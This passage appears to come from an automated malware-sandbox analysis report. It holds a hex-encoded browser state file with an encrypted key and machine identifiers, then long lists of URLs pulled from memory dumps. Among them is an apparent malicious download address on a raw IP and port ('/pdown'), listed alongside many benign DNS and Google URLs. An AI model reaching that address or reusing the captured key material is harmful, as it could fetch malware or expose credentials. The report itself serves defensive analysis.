:43:30:34:30:45:44:31:46:39:37:36:30:32:46:22:2c:22:76:22:3a:22:31:37:30:38:34:35:32:32:38:36:22:7d:7d:7d:7d:2c:22:6f:73:5f:63:72:79:70:74:22:3a:7b:22:61:70:70:5f:62:6f:75:6e:64:5f:66:69:78:65:64:5f:64:61:74:61:22:3a:22:41:51:41:41:41:4e:43:4d:6e:64:38:42:46:64:45:52:6a:48:6f:41:77:45:2f:43:6c:2b:73:42:41:41:41:41:4b:58:6d:2f:6a:79:34:73:67:55:79:71:54:6b:33:6b:43:4f:36:4f:69:67:41:41:41:41:41:43:41:41:41:41:41:41:41:51:5a:67:41:41:41:41:45:41:41:43:41:41:41:41:42:4a:79:49:46:54:38:55:74:75:5a:49:2b:79:76:69:70:39:58:39:2f:2b:5a:78:70:41:42:30:78:67:47:31:44:52:4f:4f:65:43:39:77:37:61:65:51:41:41:41:41:41:4f:67:41:41:41:41:41:49:41:41:43:41:41:41:41:43:59:70:77:57:56:4a:67:38:73:30:67:6f:6a:71:32:34:30:50:44:2f:43:31:66:30:6f:62:46:72:6b:4e:55:30:7a:47:75:34:45:68:6b:75:35:45:47:41:42:41:41:44:65:4a:44:59:52:67:39:73:78:6c:36:79:6f:30:31:6c:6e:4b:6a:63:31:6f:45:32:51:44:6f:47:59:46:46:54:72:74:59:4e:5a:38:76:52:46:51:61:55:36:34:68:6d:58:4c:52:46:33:38:49:59:35:4f:76:77:33:66:45:6f:30:32:36:43:4d:48:68:33:6b:56:35:6f:74:52:4e:66:30:30:41:55:43:6f:4e:61:73:6b:49:79:45:4f:35:57:37:66:42:34:57:7a:77:4a:70:41:77:2f:35:37:48:58:37:4f:6f:75:59:31:32:50:31:4d:54:42:6e:61:7a:43:74:4d:54:39:52:45:4e:51:49:56:56:78:66:74:63:55:66:63:32:41:57:38:34:46:57:68:69:73:45:77:55:4d:76:64:7a:72:4a:2f:37:75:4c:63:71:4b:58:5a:30:6f:77:68:5a:50:4f:75:50:77:34:55:73:57:62:58:66:47:47:34:34:55:46:69:4c:63:59:56:69:33:2f:58:57:63:78:6c:6b:48:70:73:44:5a:33:6f:75:6c:44:68:77:73:6c:2b:49:2f:31:36:35:6a:47:43:76:42:42:64:2b:6e:4e:33:4f:6a:75:6d:41:78:6c:34:6f:36:43:57:53:37:79:2f:53:45:39:6d:68:74:30:59:6a:4e:55:4b:70:5a:4f:45:61:63:55:63:34:57:6e:56:32:72:4d:53:43:67:4b:68:34:56:46:46:48:65:42:6d:70:59:65:52:76:4a:55:75:33:68:5a:65:6c:78:66:31:4c:6f:33:54:4f:5a:35:70:78:41:49:45:56:35:57:55:5a:6e:32:67:35:45:6b:65:2f:77:61:31:42:6f:74:74:7a:39:4d:72:66:5a:77:4b:6b:2b:64:66:59:48:5a:45:6e:75:38:55:36:74:32:71:35:67:79:78:2b:69:31:30:34:50:70:4f:4a:77:4f:46:68:51:42:57:65:4a:67:64:6b:7a:4a:30:35:4e:63:6e:6b:34:2f:43:2b:41:74:62:75:63:68:76:39:65:41:59:70:50:48:54:78:75:73:4e:61:49:68:54:42:38:4e:34:30:65:48:47:68:69:77:4e:46:54:72:70:6e:39:46:65:57:31:36:5a:6c:41:65:39:4f:67:6c:68:58:34:49:50:41:39:44:51:41:41:41:41:4c:53:74:61:30:67:75:4c:65:4e:5a:30:78:76:39:57:73:62:46:46:37:39:38:6c:6c:64:75:34:70:73:6b:4b:2f:44:6d:64:2f:4d:61:43:4e:76:49:4e:62:47:5a:5a:45:35:46:39:59:2f:4b:71:4f:55:7a:56:51:6b:4d:52:44:31:63:44:33:50:34:42:4e:4c:51:76:4c:33:62:59:4d:5a:44:56:75:77:3d:22:2c:22:61:75:64:69:74:5f:65:6e:61:62:6c:65:64:22:3a:74:72:75:65:2c:22:65:6e:63:72:79:70:74:65:64:5f:6b:65:79:22:3a:22:52:46:42:42:55:45:6b:42:41:41:41:41:30:49:79:64:33:77:45:56:30:52:47:4d:65:67:44:41:54:38:4b:58:36:77:45:41:41:41:41:6e:51:4e:46:77:59:4f:35:37:51:61:34:37:4e:72:79:34:32:6b:33:5a:45:41:41:41:41:42:77:41:41:41:42:48:41:47:38:41:62:77:42:6e:41:47:77:41:5a:51:41:67:41:45:4d:41:61:41:42:79:41:47:38:41:62:51:42:6c:41:41:41:41:45:47:59:41:41:41:41:42:41:41:41:67:41:41:41:41:45:48:46:48:4c:46:64:6a:64:2f:77:69:68:76:78:31:38:6a:47:71:52:43:43:35:72:49:36:32:30:51:62:7a:4f:55:4f:36:71:50:72:4c:68:62:45:41:41:41:41:41:44:6f:41:41:41:41:41:43:41:41:41:67:41:41:41:41:61:4a:55:33:66:65:38:41:72:6e:44:4f:74:52:52:4a:36:6d:6c:50:67:58:78:37:45:65:39:73:36:76:70:37:57:54:66:35:41:41:4a:62:56:61:4d:77:41:41:41:41:58:37:51:69:44:79:50:78:39:4a:5a:42:58:61:70:4f:78:69:7a:2f:69:74:63:68:44:5a:31:74:72:58:6b:61:71:41:6f:6b:51:75:39:38:72:6d:68:4a:43:44:63:41:45:46:76:32:32:4e:30:50:56:4d:4e:74:43:4c:6b:4b:51:41:41:41:41:4c:54:45:72:66:4a:78:2b:31:54:6e:73:39:75:65:4e:35:33:6f:4f:37:45:5a:36:4f:69:34:66:59:49:72:54:53:2b:48:61:61:36:69:32:45:54:36:4d:36:39:73:36:69:4d:59:6a:63:34:52:38:34:38:2f:6a:46:78:34:44:70:77:35:71:42:71:43:41:4d:58:68:6a:34:4a:6f:42:43:51:79:73:75:67:3d:22:7d:2c:22:70:61:73:73:77:6f:72:64:5f:6d:61:6e:61:67:65:72:22:3a:7b:22:69:73:5f:62:69:6f:6d:65:74:72:69:63:5f:61:76:61:6c:69:61:62:6c:65:22:3a:66:61:6c:73:65:2c:22:6f:73:5f:70:61:73:73:77:6f:72:64:5f:62:6c:61:6e:6b:22:3a:66:61:6c:73:65:2c:22:6f:73:5f:70:61:73:73:77:6f:72:64:5f:6c:61:73:74:5f:63:68:61:6e:67:65:64:22:3a:22:31:33:31:36:34:37:34:30:34:35:39:32:30:31:35:34:38:22:7d:2c:22:70:6f:6c:69:63:79:22:3a:7b:22:6c:61:73:74:5f:73:74:61:74:69:73:74:69:63:73:5f:75:70:64:61:74:65:22:3a:22:31:33:33:35:36:36:32:30:33:31:39:35:36:33:34:34:39:22:7d:2c:22:70:72:6f:66:69:6c:65:22:3a:7b:22:69:6e:66:6f:5f:63:61:63:68:65:22:3a:7b:22:44:65:66:61:75:6c:74:22:3a:7b:22:61:63:74:69:76:65:5f:74:69:6d:65:22:3a:31:37:31:32:31:34:36:37:31:39:2e:38:34:30:32:38:39:2c:22:61:76:61:74:61:72:5f:69:63:6f:6e:22:3a:22:63:68:72:6f:6d:65:3a:2f:2f:74:68:65:6d:65:2f:49:44:52:5f:50:52:4f:46:49:4c:45:5f:41:56:41:54:41:52:5f:32:36:22:2c:22:62:61:63:6b:67:72:6f:75:6e:64:5f:61:70:70:73:22:3a:66:61:6c:73:65:2c:22:66:6f:72:63:65:5f:73:69:67:6e:69:6e:5f:70:72:6f:66:69:6c:65:5f:6c:6f:63:6b:65:64:22:3a:66:61:6c:73:65:2c:22:67:61:69:61:5f:67:69:76:65:6e:5f:6e:61:6d:65:22:3a:22:22:2c:22:67:61:69:61:5f:69:64:22:3a:22:22:2c:22:67:61:69:61:5f:6e:61:6d:65:22:3a:22:22:2c:22:68:6f:73:74:65:64:5f:64:6f:6d:61:69:6e:22:3a:22:22:2c:22:69:73:5f:63:6f:6e:73:65:6e:74:65:64:5f:70:72:69:6d:61:72:79:5f:61:63:63:6f:75:6e:74:22:3a:66:61:6c:73:65:2c:22:69:73:5f:65:70:68:65:6d:65:72:61:6c:22:3a:66:61:6c:73:65:2c:22:69:73:5f:75:73:69:6e:67:5f:64:65:66:61:75:6c:74:5f:61:76:61:74:61:72:22:3a:74:72:75:65:2c:22:69:73:5f:75:73:69:6e:67:5f:64:65:66:61:75:6c:74:5f:6e:61:6d:65:22:3a:74:72:75:65:2c:22:6d:61:6e:61:67:65:64:5f:75:73:65:72:5f:69:64:22:3a:22:22:2c:22:6d:65:74:72:69:63:73:5f:62:75:63:6b:65:74:5f:69:6e:64:65:78:22:3a:31:2c:22:6e:61:6d:65:22:3a:22:50:65:72:73:6f:6e:20:31:22:2c:22:73:68:6f:72:74:63:75:74:5f:6e:61:6d:65:22:3a:22:50:65:72:73:6f:6e:20:31:22:2c:22:73:69:67:6e:69:6e:2e:77:69:74:68:5f:63:72:65:64:65:6e:74:69:61:6c:5f:70:72:6f:76:69:64:65:72:22:3a:66:61:6c:73:65:2c:22:75:73:65:72:5f:6e:61:6d:65:22:3a:22:22:7d:7d:2c:22:6c:61:73:74:5f:61:63:74:69:76:65:5f:70:72:6f:66:69:6c:65:73:22:3a:5b:5d:2c:22:6d:65:74:72:69:63:73:22:3a:7b:22:6e:65:78:74:5f:62:75:63:6b:65:74:5f:69:6e:64:65:78:22:3a:32:7d:2c:22:70:72:6f:66:69:6c:65:5f:63:6f:75:6e:74:73:5f:72:65:70:6f:72:74:65:64:22:3a:22:31:33:33:35:36:36:32:30:33:31:39:35:34:39:32:34:30:22:2c:22:70:72:6f:66:69:6c:65:73:5f:6f:72:64:65:72:22:3a:5b:22:44:65:66:61:75:6c:74:22:5d:7d:2c:22:70:72:6f:66:69:6c:65:5f:6e:65:74:77:6f:72:6b:5f:63:6f:6e:74:65:78:74:5f:73:65:72:76:69:63:65:22:3a:7b:22:68:74:74:70:5f:63:61:63:68:65:5f:66:69:6e:63:68:5f:65:78:70:65:72:69:6d:65:6e:74:5f:67:72:6f:75:70:73:22:3a:22:4e:6f:6e:65:20:4e:6f:6e:65:20:4e:6f:6e:65:20:4e:6f:6e:65:22:7d:2c:22:73:65:73:73:69:6f:6e:5f:69:64:5f:67:65:6e:65:72:61:74:6f:72:5f:6c:61:73:74:5f:76:61:6c:75:65:22:3a:22:31:35:39:39:39:35:33:33:36:31:22:2c:22:73:75:62:72:65:73:6f:75:72:63:65:5f:66:69:6c:74:65:72:22:3a:7b:22:72:75:6c:65:73:65:74:5f:76:65:72:73:69:6f:6e:22:3a:7b:22:63:68:65:63:6b:73:75:6d:22:3a:30:2c:22:63:6f:6e:74:65:6e:74:22:3a:22:22:2c:22:66:6f:72:6d:61:74:22:3a:30:7d:7d:2c:22:74:61:62:5f:73:74:61:74:73:22:3a:7b:22:64:69:73:63:61:72:64:73:5f:65:78:74:65:72:6e:61:6c:22:3a:30:2c:22:64:69:73:63:61:72:64:73:5f:70:72:6f:61:63:74:69:76:65:22:3a:30:2c:22:64:69:73:63:61:72:64:73:5f:75:72:67:65:6e:74:22:3a:30:2c:22:6c:61:73:74:5f:64:61:69:6c:79:5f:73:61:6d:70:6c:65:22:3a:22:31:33:33:35:36:36:32:30:33:31:39:35:35:38:33:31:39:22:2c:22:6d:61:78:5f:74:61:62:73:5f:70:65:72:5f:77:69:6e:64:6f:77:22:3a:31:2c:22:72:65:6c:6f:61:64:73:5f:65:78:74:65:72:6e:61:6c:22:3a:30:2c:22:72:65:6c:6f:61:64:73:5f:70:72:6f:61:63:74:69:76:65:22:3a:30:2c:22:72:65:6c:6f:61:64:73:5f:75:72:67:65:6e:74:22:3a:30:2c:22:74:6f:74:61:6c:5f:74:61:62:5f:63:6f:75:6e:74:5f:6d:61:78:22:3a:31:2c:22:77:69:6e:64:6f:77:5f:63:6f:75:6e:74:5f:6d:61:78:22:3a:31:7d:2c:22:74:70:63:64:5f:65:78:70:65:72:69:6d:65:6e:74:22:3a:7b:22:63:6c:69:65:6e:74:5f:73:74:61:74:65:22:3a:31:2c:22:63:6c:69:65:6e:74:5f:73:74:61:74:65:5f:76:65:72:73:69:6f:6e:22:3a:31:7d:2c:22:75:6b:6d:22:3a:7b:22:70:65:72:73:69:73:74:65:64:5f:6c:6f:67:73:22:3a:5b:5d:7d:2c:22:75:6e:69:6e:73:74:61:6c:6c:5f:6d:65:74:72:69:63:73:22:3a:7b:22:69:6e:73:74:61:6c:6c:61:74:69:6f:6e:5f:64:61:74:65:32:22:3a:22:31:37:30:39:39:31:34:31:34:30:22:7d:2c:22:75:73:65:72:5f:65:78:70:65:72:69:65:6e:63:65:5f:6d:65:74:72:69:63:73:22:3a:7b:22:64:65:66:61:75:6c:74:5f:6f:70:74:5f:69:6e:22:3a:32:2c:22:6c:61:73:74:5f:73:65:65:6e:22:3a:7b:22:53:65:74:75:70:4d:65:74:72:69:63:73:22:3a:22:31:33:33:35:34:33:38:37:37:34:34:32:31:35:30:37:31:22:7d:2c:22:6c:6f:77:5f:65:6e:74:72:6f:70:79:5f:73:6f:75:72:63:65:33:22:3a:36:37:34:35:2c:22:6d:61:63:68:69:6e:65:5f:69:64:22:3a:31:35:34:37:37:38:32:30:2c:22:70:73:65:75:64:6f:5f:6c:6f:77:5f:65:6e:74:72:6f:70:79:5f:73:6f:75:72:63:65:22:3a:39:38:31:2c:22:73:65:73:73:69:6f:6e:5f:69:64:22:3a:34:2c:22:73:74:61:62:69:6c:69:74:79:22:3a:7b:22:62:7"; File: "PCAP")4e:T13b0,Pattern match: "http://144.172.95.226:1224/pdown" Heuristic match: "w5.to" Heuristic match: "p! zo_.li" Heuristic match: "zzl.as" Heuristic match: "ofz6t.me" Heuristic match: "ov.tj" Heuristic match: "i|.iq" Pattern match: "http://nsis.sf.net/nsis_error" Heuristic match: "ipinfo.io" Heuristic match: "mksjwbqtddlpyzjqokyu.supabase.co" Heuristic match: "mojom.ne" Pattern match: "https://dnsnl.alekberg.net/dns-query{?dns" Pattern match: "https://alekberg.net/privacy" Pattern match: "https://dns.quad9.net/dns-query" Pattern match: "https://chromium.dns.nextdns.io" Pattern match: "https://nextdns.io/privacy" Pattern match: "https://public.dns.iij.jp/" Pattern match: "https://dns.sb/privacy/" Pattern match: "https://odvr.nic.cz/doh" Pattern match: "https://www.nic.cz/odvr/" Pattern match: "https://doh.cox.net/dns-query" Pattern match: "https://doh.cleanbrowsing.org/doh/adult-filter{?dns" Pattern match: "https://doh.cleanbrowsing.org/doh/security-filter{?dns" Pattern match: "https://doh.cleanbrowsing.org/doh/family-filter{?dns" Pattern match: "https://doh.familyshield.opendns.com/dns-query{?dns" Pattern match: "https://www.cisco.com/c/en/us/about/legal/privacy-full.html" Pattern match: "https://developers.google.com/speed/public-dns/privacy" Heuristic match: "jom.pro" Pattern match: "https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/" Heuristic match: "security-filter-dns.cleanbrowsing.org" Pattern match: "https://cleanbrowsing.org/privacy" Heuristic match: "family-filter-dns.cleanbrowsing.org" Heuristic match: "adult-filter-dns.cleanbrowsing.org" Heuristic match: "dot.cox.net" Heuristic match: "dot.xfinity.com" Pattern match: "https://doh.xfinity.com/dns-query{?dns" Heuristic match: "1dot1dot1dot1.cloudflare-dns.com" Pattern match: "https://chrome.cloudflare-dns.com/dns-query" Pattern match: "https://doh.dns.sb/dns-query{?dns" Heuristic match: "-dns.co" Heuristic match: "odvr.nic.cz" Heuristic match: "dns.sb" Pattern match: "https://public.dns.iij.jp/dns-query" Pattern match: "https://dns64.dns.google/dns-query{?dns" Heuristic match: "dns.google.com" Pattern match: "https://dns.google/dns-query{?dns" Heuristic match: "dns11.quad9.net" Heuristic match: "dot.quickline.ch" Pattern match: "https://dns.levonet.sk/dns-query{?dns" Pattern match: "https://dns11.quad9.net/dns-query" Pattern match: "https://doh.opendns.com/dns-query{?dns" Heuristic match: "dns10.quad9.net" Pattern match: "https://www.quad9.net/home/privacy/" Heuristic match: "dns9.quad9.net" Pattern match: "https://dns10.quad9.net/dns-query" Heuristic match: "dns.quad9.net" Pattern match: "https://doh-02.spectrum.com/dns-query{?dns" Pattern match: "https://doh-01.spectrum.com/dns-query{?dns" Pattern match: "https://doh.quickline.ch/dns-query{?dns" Pattern match: "https://nodejs.org/download/release/v18.18.2/win-x64/node.lib" Pattern match: "chrome.google.com/webstore?hl=enctrl$1+$2press" Pattern match: "https://myactivity.google.com/" Pattern match: "https://policies.google.com/" Pattern match: "https://photos.google.com/settings?referrer=chrome_ntp" Pattern match: "https://support.google.com/chromebook?p=app_intent" Heuristic match: "google.com" Pattern match: "https://chrome.google.com/webstore/category/extensions" Pattern match: "https://www.example.comurl" Pattern match: "www.google.com/chrome/privacy/eula_text.htmlh&elpmanaged" Pattern match: "https://chromeenterprise.google/policies/#browserswitcherenabled" Pattern match: "https://chromeenterprise.google/policies/#browserswitcherexternalsitelisturl" Pattern match: "https://chromeenterprise.google/policies/#browserswitcheruseiesitelist" Pattern match: "https://chromeenterprise.google/policies/#browserswitcherurlgreylist" Pattern match: "chrome.google.com/webstore?hl=en&category=theme81https://myactivity.google.com/myactivity/?utm_source=chrome_nhttps://myactivity.google.com/myactivity/?utm_source=chrome_h" Pattern match: "https://chromestatus.com/features#browsers.chrome.status%3a%22deprecated%22" Pattern match: "http://example.com" Pattern match: "https://support.google.com/chrome/answer/6098869" Pattern match: "https://nodejs.org/download/release/v18.18.2/node-v18.18.2.tar.gz" Pattern match: "https://nodejs.org/download/release/v18.18.2/node-v18.18.2-headers.tar.gz" Heuristic match: "vp.mv" Heuristic match: "[h.je" Heuristic match: "}k.ye" Heuristic match: "f5ah.ae" Heuristic match: ",%.ga" Heuristic match: "dk.bs" Heuristic match: "j$.vg" Heuristic match: "system.activityhistory.id" Heuristic match: "system.identityprovider.name" Heuristic match: "system.sam.name" Heuristic match: "system.structuredquery.virtual.cc" Heuristic match: "system.structuredquery.virtual.to" Heuristic match: "system.structuredquery.is" Heuristic match: "system.protocol.name" Heuristic match: "system.appusermodel.id" Heuristic match: "system.structuredquerytype.implicit.is" Heuristic match: "`o.st" Heuristic match: "jr.ee" Heuristic match: "rg.tv"4f:T15762,Found URL "https://dnsnl.alekberg.net/dns-query" - Source: "00000000-00004288.00000000.110171.0000C000.00000004.mdmp") Found URL "https://alekberg.net/privacy>wjd:+s" - Source: "00000000-00004288.00000000.110171.0000C000.00000004.mdmp") Found URL "https://dns.quad9.net/dns-queryhttps://chromium.dns.nextdns.iohttps://nextdns.io/privacyhttps://public.dns.iij.jp/https://dns.sb/privacy/https://odvr.nic.cz/dohhttps://www.nic.cz/odvr/ueryhttps://doh.cox.net/dns-querycleanbrowsing" - Source: "00000000-00004288.00000000.110171.0000C000.00000004.mdmp") Found URL "https://doh.cleanbrowsing.org/doh/adult-filter" - Source: "00000000-00004288.00000000.110171.00024000.00000004.mdmp") Found URL "https://doh.cleanbrowsing.org/doh/security-filter" - Source: "00000000-00004288.00000000.110171.00024000.00000004.mdmp") Found URL "https://doh.cleanbrowsing.org/doh/family-filter" - Source: "00000000-00004288.00000000.110171.00024000.00000004.mdmp") Found URL "https://doh.familyshield.opendns.com/dns-query" - Source: "00000000-00004288.00000000.110171.00024000.00000004.mdmp") Found URL "https://www.cisco.com/c/en/us/about/legal/privacy-full.htmlhttps://developers.google.com/speed/public-dns/privacy_queryeheanetwork.mojom.cookieaccessobservermessageheadervalidatordervnetwork.mojom.cookiemanager" - Source: "00000000-00004288.00000000.110171.00024000.00000004.mdmp") Found URL "https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/network.mojom.urlloaderfactory" - Source: "00000000-00004288.00000000.110171.0007C000.00000004.mdmp") Found URL "https://cleanbrowsing.org/privacyfamily-filter-dns.cleanbrowsing.orgadult-filter-dns.cleanbrowsing.orgdot.cox.netdot.xfinity.comhttps://doh.xfinity.com/dns-query" - Source: "00000000-00004288.00000000.110171.0016C000.00000004.mdmp") Found URL "https://chrome.cloudflare-dns.com/dns-queryhttps://doh.dns.sb/dns-query" - Source: "00000000-00004288.00000000.110171.0016C000.00000004.mdmp") Found URL "https://public.dns.iij.jp/dns-query" - Source: "00000000-00004288.00000000.110171.0016C000.00000004.mdmp") Found URL "https://dns64.dns.google/dns-query" - Source: "00000000-00004288.00000000.110171.0016C000.00000004.mdmp") Found URL "https://dns.google/dns-query" - Source: "00000000-00004288.00000000.110171.0016C000.00000004.mdmp") Found URL "https://dns.levonet.sk/dns-query" - Source: "00000000-00004288.00000000.110171.0016C000.00000004.mdmp") Found URL "https://dns11.quad9.net/dns-queryhttps://doh.opendns.com/dns-query" - Source: "00000000-00004288.00000000.110171.0016C000.00000004.mdmp") Found URL "https://www.quad9.net/home/privacy/ns-querdns9.quad9.nethttps://dns10.quad9.net/dns-queryopendnsdns.quad9.nets-query&" - Source: "00000000-00004288.00000000.110171.0016C000.00000004.mdmp") Found URL "https://doh-02.spectrum.com/dns-query" - Source: "00000000-00004288.00000000.110171.0016C000.00000004.mdmp") Found URL "https://doh-01.spectrum.com/dns-query" - Source: "00000000-00004288.00000000.110171.0016C000.00000004.mdmp") Found URL "https://doh.quickline.ch/dns-query" - Source: "00000000-00004288.00000000.110171.0016C000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v18.18.2/win-x64/node.libcommonprogramfiles=c:\program" - Source: "00000000-00004288.00000000.110171.00254000.00000004.mdmp") Found URL "https://chrome.google.com/webstore?hl=enctrl$1+$2press" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "http://'" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://'" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://myactivity.google.com/" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://policies.google.com/" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://photos.google.com/settings?referrer=chrome_ntp" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://support.google.com/chromebook?p=app_intent" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://chrome.google.com/webstore/category/extensions" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://www.example.comurl" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://www.google.com/chrome/privacy/eula_text.htmlh&elpmanaged" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://chromeenterprise.google/policies/" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "http://," - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://," - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://passwords.google.comgoogle" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://chrome.google.com/webstore?hl=en&category=theme81https://myactivity.google.com/myactivity/?utm_source=chrome_nhttps://myactivity.google.com/myactivity/?utm_source=chrome_h-p" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://chromestatus.com/features" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "http://example.com" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://example.com.use" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://support.google.com/chrome/a/answer/9122284" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "http://.

" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "http://," - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "http://example.com." - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://support.google.com/chrome/answer/6098869" - Source: "00000000-00004288.00000000.110171.6D440000.00000002.mdmp") Found URL "https://dnsnl.alekberg.net/dns-query" - Source: "00000000-00004288.00000001.112089.0000C000.00000004.mdmp") Found URL "https://alekberg.net/privacy>wjd:+s" - Source: "00000000-00004288.00000001.112089.0000C000.00000004.mdmp") Found URL "https://dns.quad9.net/dns-queryhttps://chromium.dns.nextdns.iohttps://nextdns.io/privacyhttps://public.dns.iij.jp/https://dns.sb/privacy/https://odvr.nic.cz/dohhttps://www.nic.cz/odvr/ueryhttps://doh.cox.net/dns-querycleanbrowsing" - Source: "00000000-00004288.00000001.112089.0000C000.00000004.mdmp") Found URL "https://doh.cleanbrowsing.org/doh/adult-filter" - Source: "00000000-00004288.00000001.112089.00024000.00000004.mdmp") Found URL "https://doh.cleanbrowsing.org/doh/security-filter" - Source: "00000000-00004288.00000001.112089.00024000.00000004.mdmp") Found URL "https://doh.cleanbrowsing.org/doh/family-filter" - Source: "00000000-00004288.00000001.112089.00024000.00000004.mdmp") Found URL "https://doh.familyshield.opendns.com/dns-query" - Source: "00000000-00004288.00000001.112089.00024000.00000004.mdmp") Found URL "https://www.cisco.com/c/en/us/about/legal/privacy-full.htmlhttps://developers.google.com/speed/public-dns/privacy_querypmojom.cookieaccessobservermessageheadervalidatornetwork.mojom.cookiemanager" - Source: "00000000-00004288.00000001.112089.00024000.00000004.mdmp") Found URL "https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/network.mojom.urlloaderfactory" - Source: "00000000-00004288.00000001.112089.0007C000.00000004.mdmp") Found URL "https://cleanbrowsing.org/privacyfamily-filter-dns.cleanbrowsing.orgadult-filter-dns.cleanbrowsing.orgdot.cox.netdot.xfinity.comhttps://doh.xfinity.com/dns-query" - Source: "00000000-00004288.00000001.112089.0016C000.00000004.mdmp") Found URL "https://chrome.cloudflare-dns.com/dns-queryhttps://doh.dns.sb/dns-query" - Source: "00000000-00004288.00000001.112089.0016C000.00000004.mdmp") Found URL "https://public.dns.iij.jp/dns-query" - Source: "00000000-00004288.00000001.112089.0016C000.00000004.mdmp") Found URL "https://dns64.dns.google/dns-query" - Source: "00000000-00004288.00000001.112089.0016C000.00000004.mdmp") Found URL "https://dns.google/dns-query" - Source: "00000000-00004288.00000001.112089.0016C000.00000004.mdmp") Found URL "https://dns.levonet.sk/dns-query" - Source: "00000000-00004288.00000001.112089.0016C000.00000004.mdmp") Found URL "https://dns11.quad9.net/dns-queryhttps://doh.opendns.com/dns-query" - Source: "00000000-00004288.00000001.112089.0016C000.00000004.mdmp") Found URL "https://www.quad9.net/home/privacy/ns-querdns9.quad9.nethttps://dns10.quad9.net/dns-queryopendnsdns.quad9.nets-query&" - Source: "00000000-00004288.00000001.112089.0016C000.00000004.mdmp") Found URL "https://doh-02.spectrum.com/dns-query" - Source: "00000000-00004288.00000001.112089.0016C000.00000004.mdmp") Found URL "https://doh-01.spectrum.com/dns-query" - Source: "00000000-00004288.00000001.112089.0016C000.00000004.mdmp") Found URL "https://doh.quickline.ch/dns-query" - Source: "00000000-00004288.00000001.112089.0016C000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v18.18.2/node-v18.18.2.tar.gzions)specified" - Source: "00000000-00004288.00000001.112089.00278000.00000004.mdmp") Found URL "https://nodejs.org/download/release/v18.18.2/node-v18.18.2-headers.tar.gzprocessor_identifier=intel64" - Source: "00000000-00004288.00000001.112089.00278000.00000004.mdmp") Found URL "https://dnsnl.alekberg.net/dns-query" - Source: "00000000-00004288.00000002.114010.0000C000.00000004.mdmp") Found URL "https://alekberg.net/privacy>wjd:+s" - Source: "00000000-00004288.00000002.114010.0000C000.00000004.mdmp") Found URL "https://dns.quad9.net/dns-queryhttps://chromium.dns.nextdns.iohttps://nextdns.io/privacyhttps://public.dns.iij.jp/https://dns.sb/privacy/https://odvr.nic.cz/dohhttps://www.nic.cz/odvr/ueryhttps://doh.cox.net/dns-querycleanbrowsing" - Source: "00000000-00004288.00000002.114010.0000C000.00000004.mdmp") Found URL "https://doh.cleanbrowsing.org/doh/adult-filter" - Source: "00000000-00004288.00000002.114010.00024000.00000004.mdmp") Found URL "https://doh.cleanbrowsing.org/doh/security-filter" - Source: "00000000-00004288.00000002.114010.00024000.00000004.mdmp") Found URL "https://doh.cleanbrowsing.org/doh/family-filter" - Source: "00000000-00004288.00000002.114010.00024000.00000004.mdmp") Found URL "https://doh.familyshield.opendns.com/dns-query" - Source: "00000000-00004288.00000002.114010.00024000.00000004.mdmp") Found URL "https://www.cisco.com/c/en/us/about/legal/privacy-full.htmlhttps://developers.google.com/speed/public-dns/privacy_querymojom.cookieaccessobservermessageheadervalidatornetwork.mojom.cookiemanager" - Source: "00000000-00004288.00000002.114010.00024000.00000004.mdmp") Found URL "https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/network.mojom.urlloaderfactory" - Source: "00000000-00004288.00000002.114010.0007C000.00000004.mdmp") Found URL "https://cleanbrowsing.org/privacyfamily-filter-dns.cleanbrowsing.orgadult-filter-dns.cleanbrowsing.orgdot.cox.netdot.xfinity.comhttps://doh.xfinity.com/dns-query" - Source: "00000000-00004288.00000002.114010.0016C000.00000004.mdmp") Found URL "https://chrome.cloudflare-dns.com/dns-queryhttps://doh.dns.sb/dns-query" - Source: "00000000-00004288.00000002.114010.0016C000.00000004.mdmp") Found URL "https://public.dns.iij.jp/dns-query" - Source: "00000000-00004288.00000002.114010.0016C000.00000004.mdmp") Found URL "https://dns64.dns.google/dns-query" - Source: "00000000-00004288.00000002.114010.0016C000.00000004.mdmp") Found URL "https://dns.google/dns-query" - Source: "00000000-00004288.00000002.114010.0016C000.00000004.mdmp") Found URL "https://dns.levonet.sk/dns-query" - Source: "00000000-00004288.00000002.114010.0016C000.00000004.mdmp") Found URL "https://dns11.quad9.net/dns-queryhttps://doh.opendns.com/dns-query" - Source: "00000000-00004288.00000002.114010.0016C000.00000004.mdmp") Found URL "https://www.quad9.net/home/privacy/ns-querdns9.quad9.nethttps://dns10.quad9.net/dns-queryopendnsdns.quad9.nets-query&" - Source: "00000000-00004288.00000002.114010.0016C000.00000004.mdmp") Found URL "https://doh-02.spectrum.com/dns-query" - Source: "00000000-00004288.00000002.114010.0016C000.00000004.mdmp") Found URL "https://doh-01.spectrum.com/dns-query" - Source: 